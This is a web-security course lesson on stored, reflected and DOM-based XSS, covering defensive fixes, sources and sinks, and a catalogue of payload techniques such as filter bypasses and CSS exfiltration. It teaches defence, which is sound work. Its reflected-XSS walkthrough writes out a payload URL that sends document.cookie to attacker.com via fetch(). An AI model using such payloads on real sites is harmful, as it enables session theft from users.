Stored, Reflected, and DOM-Based XSS
In Lesson 1, we saw what XSS is and why it matters. We walked through a stored XSS attack on a blog comment system and looked at what an attacker can do once they have JavaScript running in a victim's browser.
We also introduced the three types of XSS without going into depth.
Here's what we'll cover in this lesson:
- Stored XSS with a user profile example, plus Blind XSS (where the attacker can't even see the payload fire)
- Reflected XSS with a search page example, including how it works without the victim clicking anything
- DOM-based XSS with sources, sinks, and the
postMessagevector that catches SPA developers off guard - The payload catalog: event handlers,
javascript:URIs, SVG, mutation XSS, CSS exfiltration, and server-side template injection
Here's the quick comparison we'll unpack:
| Stored | Reflected | DOM-based | |
|---|---|---|---|
| Payload persisted? | Yes, in the database | No, lives in the URL | No, lives in client-side data |
| Server involved? | Stores it and serves it back | Echoes it in the response | Never sees it |
| Victim action needed? | Visit the page | Click a crafted link (or load it via iframe) | Click a crafted link |
| Visible in server logs? | In the database | In the request URL/params | Not visible at all |
| Who gets hit? | Every user who loads the page | Only users who follow the link | Only users who follow the link |
Stored XSS
Stored XSS (also called persistent XSS) is the type we explored in Lesson 1 with the blog comment attack.
The payload gets saved to the server, usually in a database, and then served to every user who loads the page containing that data.
The attacker doesn't need to trick anyone into clicking a link. The victim just visits the page.
In Lesson 1, we used the <img onload> example. Let's look at a different scenario that's just as common: a user profile page.
Most applications let users set a display name or bio. That data is stored in the database and rendered on their profiles, in comment threads, on leaderboards, and in admin dashboards.
If the application renders it as HTML without encoding, the attacker puts their payload in their display name, and every user who sees that name gets hit.
Here's a simple example:
The attacker sets their display name to:
Every page that displays this user's name now executes that script.
The comment section on an article, the "who's online" sidebar, and the admin panel where moderators review reported users.
The payload travels with the data wherever it goes.
The fix
The simplest fix is to use textContent instead of innerHTML:
Now the browser treats the display name as text. The <img> tag shows up as literal characters on the page, not as a rendered image.
If we need some HTML in the bio (bold text, links), we sanitize with DOMPurify before inserting:
We should also validate on the server side. A display name has no business containing < or >.
Strip them before saving, and sanitize or encode on output.
Both sides. Always.
Blind XSS
There's a subtype of stored XSS that's worth understanding separately.
Blind XSS is when the attacker injects a payload into a field they can write to, but the payload executes in a context they can't see.
The classic example: a support ticket system.
The attacker files a ticket with an XSS payload in the description. They never see the ticket rendered on their own screen.
But when a support agent opens the ticket in the internal admin panel, the payload fires in the agent's browser.
The agent's browser likely has access to internal tools, admin APIs, and other users' data.
Blind XSS is hard to find during normal testing because we can't observe it fire.
The attacker typically includes a callback URL in the payload that pings their server when it executes, confirming the injection worked and sending back information about the context (URL, cookies, DOM content).
The same defenses apply: encode or sanitize all data before rendering, regardless of its source.
The fact that we trust our own support agents doesn't mean we trust the data they're viewing.
Reflected XSS
Reflected XSS (also called non-persistent XSS) differs from stored XSS in one important way: the payload isn't stored anywhere.
It travels in the request (usually in a URL parameter or form field), gets reflected back in the server's response, and executes in the victim's browser.
The most common place to find reflected XSS is search pages. The user types a query, the server responds with "You searched for: [query]", and if [query] isn't encoded, the attacker can inject JavaScript into it.
Here's the vulnerable server code:
The server takes req.query.q and drops it directly into the HTML response. Here's the attack step by step:
- The attacker crafts a URL with a payload in the query parameter:
https://our-app.com/search?q=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> - The attacker URL-encodes it so it looks like a normal link:
https://our-app.com/search?q=%3Cimg%20src%3Dx%20onerror%3D%22...%22%3E - The attacker sends this link to the victim via phishing email, social media DM, or a message on a forum.
- The victim sees a link to
our-app.com(a site they trust) and clicks it. - The server receives the request, takes the
qparameter, and drops it directly into the HTML response without encoding. - The browser renders the response, parses the
<img>tag, and fires theonerrorhandler. The victim's data is sent to the attacker's server.
Why reflected XSS is dangerous even though it needs a click
Developers sometimes dismiss reflected XSS as lower severity because "the victim has to click a link."
This is wrong for a few reasons.
Phishing works. People click links. Especially when the domain in the URL is a site they trust and use daily.
The attacker isn't sending them to evil-site.com. They're sending them to our-app.com with a payload in the query string.
Reflected XSS can also be triggered without a visible click. An attacker can embed the malicious URL in an <iframe> on their own page:
When the victim visits the attacker's page (which could be anything, a blog post, a forum, a fake news article), the browser automatically loads the iframe, which hits our vulnerable search endpoint.
The payload executes in the context of our domain. The victim never sees a suspicious URL.
They never clicked a link to our site. They just visited a different website, and our app got exploited in the background.
The fix
Encode user input before inserting it into HTML. On the server side, use a templating engine that auto-encodes (EJS with <%= %>, Handlebars with {{ }}), or encode manually:
Now <img src=x onerror="..."> becomes <img src=x onerror="..."> and the browser renders it as visible text.
If our frontend is an SPA that fetches search results from an API and renders them client-side, we use textContent instead of innerHTML, the same fix as stored XSS.
The principle is the same regardless of where the rendering happens: don't let user-controlled data become HTML.
Try it right now
Open any search page (our own app, or a demo like OWASP's WebGoat). Type <b>test</b> into the search box and submit.
If the result page shows the word "test" in bold, it means our input is being rendered as HTML.
If it shows the literal text <b>test</b> with the angle brackets visible, the output is being encoded.
This is the simplest manual test for reflected XSS and takes 5 seconds.
DOM-based XSS
DOM-based XSS is the type that confuses people the most and is also growing fastest.
Google's Vulnerability Rewards Program data consistently shows DOM XSS as their most commonly reported XSS variant, and that makes sense: as SPAs move more rendering logic to the client, more data flows from attacker-controllable sources into dangerous sinks without the server ever being involved.
In stored and reflected XSS, the payload travels through the server. The server either stores it and returns it later (stored) or echoes it back immediately (reflected).
Either way, if we look at the server's HTTP response, we can see the payload in the HTML.
DOM-based XSS is different. The payload never reaches the server. It lives entirely on the client side. The server sends a perfectly clean HTML page, and then JavaScript on that page reads data from somewhere (a "source") and writes it somewhere dangerous (a "sink") without encoding it.
Sources
A source is any part of the browser where an attacker can control data. Many of these look harmless during development because we use them every day for legitimate purposes.
URL-based sources are the most common. window.location.hash (the URL fragment after #) is never sent to the server, which means server-side logging and WAFs don't see it.
Client-side routers in SPAs read from it constantly. window.location.search contains query parameters. Both are fully under the attacker's control when the attacker crafts the URL.
Inter-window sources are trickier. document.referrer holds the URL of the page that linked to the current one, and the attacker controls that if they set up the referring page. window.name is a string property that persists across page navigations within the same tab, so the previous page can set it to anything. postMessage events come from other windows or iframes, and if our code doesn't check the origin property, any page can send us data. We'll see how in a moment.
Storage-based sources come into play when a previous XSS or another vulnerability has written malicious data into localStorage or sessionStorage. Our code reads it later and puts it on the page, creating a second-order DOM XSS.
Sinks
A sink is any browser API that can execute or render content.
HTML sinks parse strings as markup: element.innerHTML, element.outerHTML, document.write(). These are the most common DOM XSS sinks.
JavaScript execution sinks run strings as code: eval(), setTimeout('string'), setInterval('string'), new Function('string'). If any user-controlled data reaches these, it's game over.
Navigation sinks can redirect to javascript: URLs: window.location.href, window.location.assign(). And element.setAttribute() can set event handlers or URL attributes if the attribute name and value are both attacker-controlled.
Third-party libraries bring their own sinks too. jQuery's .html() method is equivalent to innerHTML. Angular's $sce.trustAsHtml() bypasses the sanitizer. Handlebars' triple-stash {{{ }}} renders unescaped HTML. When auditing for DOM XSS, we trace data flows through library code as well as our own.
A concrete example
Here's a page that shows a personalized greeting based on the URL fragment:
This page works fine for normal users. Visiting https://our-app.com/welcome#Dan shows "Welcome, Dan!" Here's how the attack plays out:
- The attacker crafts a URL:
https://our-app.com/welcome#<img src=x onerror=alert(document.cookie)> - The attacker sends this link to the victim (email, DM, posted on a forum).
- The victim clicks the link. The browser loads the page from the server.
- The server returns a clean HTML page. The fragment (
#<img...>) is never sent to the server. - The client-side JavaScript reads
window.location.hash, extracts the fragment, and inserts it into the DOM viainnerHTML. - The browser parses the
<img>tag and fires theonerrorhandler. The attacker's code executes.
The server had nothing to do with it. The server sent a clean HTML page.
The vulnerability is entirely in the client-side JavaScript. If we look at the server's access logs, we see a normal GET request for /welcome with no suspicious parameters.
The postMessage vector
One DOM XSS source that warrants closer inspection is postMessage.
Many SPAs use it for cross-frame communication: embedded widgets, OAuth popups, third-party integrations. The problem is when the message event listener doesn't check where the message came from:
An attacker creates a page that iframes our app and sends it a message:
Our app receives the message, doesn't check event.origin, and inserts the payload into innerHTML. The fix is to always validate the origin and use a safe sink:
The fix
Replace innerHTML with textContent:
If we actually need to render HTML from a source, sanitize only the untrusted part:
For eval and Function sinks, there's no safe way to pass user data through them.
The fix is to not use them.
If our code calls eval(userInput) or new Function(userInput), we need to redesign that code.
JSON.parse for data parsing, a lookup table for dynamic dispatch, and a configuration object instead of dynamically generated code.
The payload catalog
We've looked at three different delivery mechanisms for XSS. The payloads themselves, the actual HTML and JavaScript that execute in the browser, are the same regardless of whether they arrive via stored, reflected, or DOM-based injection.
Understanding these patterns is important because they show why blocklist-based filtering always fails, and why allowlisting (through tools like DOMPurify) is the only approach that works at scale.
Event handlers beyond onload and onerror
There are over 80 HTML event handler attributes. Attackers pick whichever one the filter doesn't catch:
The <input onfocus autofocus> technique is particularly effective because it fires without any user interaction. The browser automatically focuses the input element and the event fires immediately.
A filter that blocks onerror and onload will miss ontoggle, onfocus, onstart, and dozens of others. Blocklisting specific event handlers doesn't scale. There are too many of them, and new ones get added to the HTML spec. An allowlist that only permits known-safe attributes is the only approach that holds up.
javascript: URIs
Any attribute that expects a URL can execute JavaScript through the javascript: protocol:
Browsers also decode HTML entities before interpreting the protocol, so javascript:alert(1) executes the same way because : decodes to :. This exact bypass was found in the marked npm package, where the sanitizer caught javascript: but missed the HTML-entity-encoded variant.
React doesn't validate URL protocols either, so a user-controlled href value of javascript:... executes when clicked. We'll build the full defense pattern for this in Lesson 3.
SVG and MathML
SVG is an XML-based image format that browsers render inline, and it supports <script> tags and event handlers just like HTML:
If our sanitizer handles HTML elements but passes SVG through untouched, these payloads execute. DOMPurify handles SVG by default, which is one of the reasons to use it over a hand-rolled sanitizer.
There's also a class of attacks called mutation XSS that exploits SVG and MathML parsing. Consider this:
This looks garbled, and to a sanitizer parsing it as simple HTML, it might look harmless. But the browser's parser handles the transition between HTML, MathML, and SVG namespaces differently.
After parsing, the DOM tree ends up with the <img> tag in a context where its onerror fires. The sanitizer parsed one structure, but the browser built a different one from the same input.
Mutation XSS is one of the hardest payload classes to defend against.
It's the main reason DOMPurify uses the browser's own parser rather than implementing its own.
When the sanitizer and the renderer use the same parser, they agree on the resulting structure, and mutation XSS becomes much harder to pull off.
CSS-based data exfiltration
This technique doesn't execute JavaScript at all. Instead, it uses CSS attribute selectors to leak data character by character:
When the browser matches a rule, it makes an HTTP request for the background image, and the attacker's server logs which character matched. This works against CSRF tokens in hidden form fields and other values rendered in the HTML source as input value attributes.
One important nuance: the CSS [value] selector matches the HTML attribute in the page source, not the live value the user types into the field. So it works against server-rendered prefilled values, but not against a password the user is actively typing. That said, it's effective for exfiltrating CSRF tokens, API keys in hidden fields, or prefilled form data.
A Content Security Policy can block this if inline styles are disallowed, but many CSP configurations still allow them. We'll cover CSP configuration in detail in Lesson 6.
Server-side template injection leading to XSS
When server-side code interpolates user input into a template that generates JavaScript, the attacker can break out of the string context:
The attacker closes the string with ", terminates the statement with ;, inserts their payload, and comments out the rest of the line with //. Django's documentation warns about this specifically for template literals.
The defense is simple: don't put user data into JavaScript contexts. Use data- attributes to pass data from the server to client-side JavaScript:
Find these in our own code
Now that we know what each type looks like, we can start looking for them.
For stored XSS, trace any user-submitted content (comments, profiles, messages, product reviews) from the database to the page. Is it rendered with innerHTML or textContent? If it's innerHTML without DOMPurify, it's a candidate.
For reflected XSS, look at any server endpoint that includes query parameters or form data in its HTML response.
Is the data encoded before insertion? If we're building HTML strings with template literals and injecting user data, it's vulnerable. And try the manual test: type <b>test</b> into a search box.
If the result shows bold text instead of literal <b> characters, the page is rendering input as HTML.
For DOM XSS, search our client-side code for innerHTML, outerHTML, document.write, and eval. Then trace back: where does the data come from? If it reads from location.hash, location.search, document.referrer, postMessage, or any other attacker-controllable source without sanitization, we have DOM XSS. Don't forget to check library code too: jQuery's .html(), Handlebars' {{{ }}}, and any third-party component that renders HTML from props.
We'll build a full systematic process for this in Lesson 7's audit checklist.
For now, knowing what to look for is the first step.
In the next lesson, we'll take everything we've learned and apply it to the frameworks we actually use: React, Vue, Angular, and Vanilla JS. We'll see where each framework protects us, where it doesn't, and how to write code that's safe by default.
References and more reading material
- OWASP, "Types of Cross-Site Scripting" https://owasp.org/www-community/Types_of_Cross-Site_Scripting
- OWASP, "DOM Based XSS" https://owasp.org/www-community/attacks/DOM_Based_XSS
- OWASP, "XSS Filter Evasion Cheat Sheet" https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
- OWASP, "WebGoat" (XSS testing practice application) https://owasp.org/www-project-webgoat/
- Google / W3C, "Trusted Types FAQ: DOM XSS data from Google VRP" https://github.com/w3c/trusted-types/wiki/FAQ
- Snyk, "Cross-site Scripting (XSS) in marked" (CVE-2016-10531) https://security.snyk.io/vuln/npm:marked:20150520
- DOMPurify by Cure53 (HTML sanitizer) https://github.com/cure53/DOMPurify
- XSS Hunter (Blind XSS detection tool) https://xsshunter.trufflesecurity.com/
- MDN, "Cross-site scripting (XSS)" https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS